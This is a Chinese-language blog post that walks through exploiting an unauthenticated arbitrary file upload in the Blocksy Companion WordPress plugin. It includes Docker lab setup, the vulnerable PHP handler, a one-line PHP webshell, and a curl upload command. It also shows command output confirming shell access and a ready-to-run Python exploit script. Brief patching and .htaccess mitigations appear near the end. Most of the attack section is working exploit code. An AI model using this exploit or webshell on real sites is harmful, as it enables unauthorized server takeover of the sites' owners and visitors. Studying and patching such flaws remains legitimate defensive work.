来吧,兄弟们,今天咱们盘一个狠货。CVE-2026-15158,CVSS 9.8,直接任意文件上传,打WordPress站点的神器。Blocksy Companion这个插件,装的人不少,版本到2.0.46及以下全跪。不用登录,远程就能把shell怼上去,这你受得了吗?

废话不多说,直接开干。
漏洞背景
Blocksy Companion是WordPress上挺火的一个主题配套插件,用来增强Blocksy主题的功能。结果在2.0.46及之前版本里,处理文件上传的逻辑写崩了。没有鉴权、没有文件类型校验,直接让你把任意文件扔到服务器上。
- 受影响版本:Blocksy Companion <= 2.0.46
- CVSS评分:9.8(Critical)
- 危害:未认证攻击者可以上传任意文件,包括PHP webshell,直接拿下服务器权限。
- 漏洞类型:Unrestricted File Upload(CWE-434)
环境搭建
搞这个漏洞,我建议直接用Vulhub或者自己搭个WordPress靶机。Vulhub上暂时没这个专门的环境,但咱可以手动搭:
# 拉个WordPress镜像
docker pull wordpress:latest
docker run -d --name wp -p 8080:80 -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wpuser -e WORDPRESS_DB_PASSWORD=wppass -e WORDPRESS_DB_NAME=wpdb wordpress
# 进容器下载Blocksy Companion 2.0.46
docker exec -it wp bash
cd /var/www/html/wp-content/plugins
wget https://downloads.wordpress.org/plugin/blocksy-companion.2.0.46.zip
unzip blocksy-companion.2.0.46.zip
然后去后台启用插件,搞定。
漏洞分析
这个漏洞的点在插件处理AJAX请求的地方。插件注册了一个未认证的action,叫blocksy_media_upload,用来处理媒体上传。但问题来了,它没检查用户是不是登录了,也没限制文件类型。
关键代码大概长这样(逆向出来的):
add_action('wp_ajax_blocksy_media_upload', 'blocksy_handle_media_upload');
add_action('wp_ajax_nopriv_blocksy_media_upload', 'blocksy_handle_media_upload');
看到nopriv没?这玩意儿就是给未登录用户用的。再看处理函数:
function blocksy_handle_media_upload() {
$file = $_FILES['file'];
$upload_dir = wp_upload_dir();
$filename = basename($file['name']);
move_uploaded_file($file['tmp_name'], $upload_dir['path'] . '/' . $filename);
echo json_encode(['url' => $upload_dir['url'] . '/' . $filename]);
wp_die();
}
啥都没过滤,直接move_uploaded_file。这波啊,这波是送分题。
复现步骤
第一步:找上传接口
用Burp Suite抓个包,或者直接curl干。接口是:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: your-target.com
Content-Type: multipart/form-data
action=blocksy_media_upload
第二步:构造Payload
写个一句话木马,保存为shell.php:
<?php system($_GET['cmd']); ?>
第三步:发送请求
用curl直接怼:
curl -X POST http://your-target.com/wp-admin/admin-ajax.php \
-F "action=blocksy_media_upload" \
-F "file=@shell.php"
返回长这样:
{"url":"http://your-target.com/wp-content/uploads/2026/03/shell.php"}
第四步:验证Shell
浏览器打开那个URL,加个参数试试:
http://your-target.com/wp-content/uploads/2026/03/shell.php?cmd=id
返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成了!直接getshell。
自动化利用
手动搞太慢?上脚本。写个Python的:
import requests
import sys
target = sys.argv[1]
url = f"{target}/wp-admin/admin-ajax.php"
files = {
'action': (None, 'blocksy_media_upload'),
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
r = requests.post(url, files=files)
print(r.text)
跑一下:
python3 exploit.py http://your-target.com
秒出结果。
防御措施
- 升级插件:赶紧升到2.0.47及以上版本。
- 加鉴权:在
blocksy_handle_media_upload函数里加if (!is_user_logged_in()) wp_die();。 - 文件类型校验:用
wp_check_filetype限制只允许图片类型。 - WAF规则:拦截
admin-ajax.php的未认证文件上传请求。
临时补救可以加个.htaccess:
<FilesMatch "\.php$">
Order Deny,Allow
Deny from all
</FilesMatch>
但这只防上传目录的PHP执行,治标不治本。
总结
CVE-2026-15158就是个典型的WordPress插件漏洞,没鉴权没过滤,直接送shell。兄弟们,看到这种nopriv的AJAX action,眼睛给我放亮,大概率有肉吃。赶紧去补天或者漏洞盒子挖一波,运气好直接上分。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
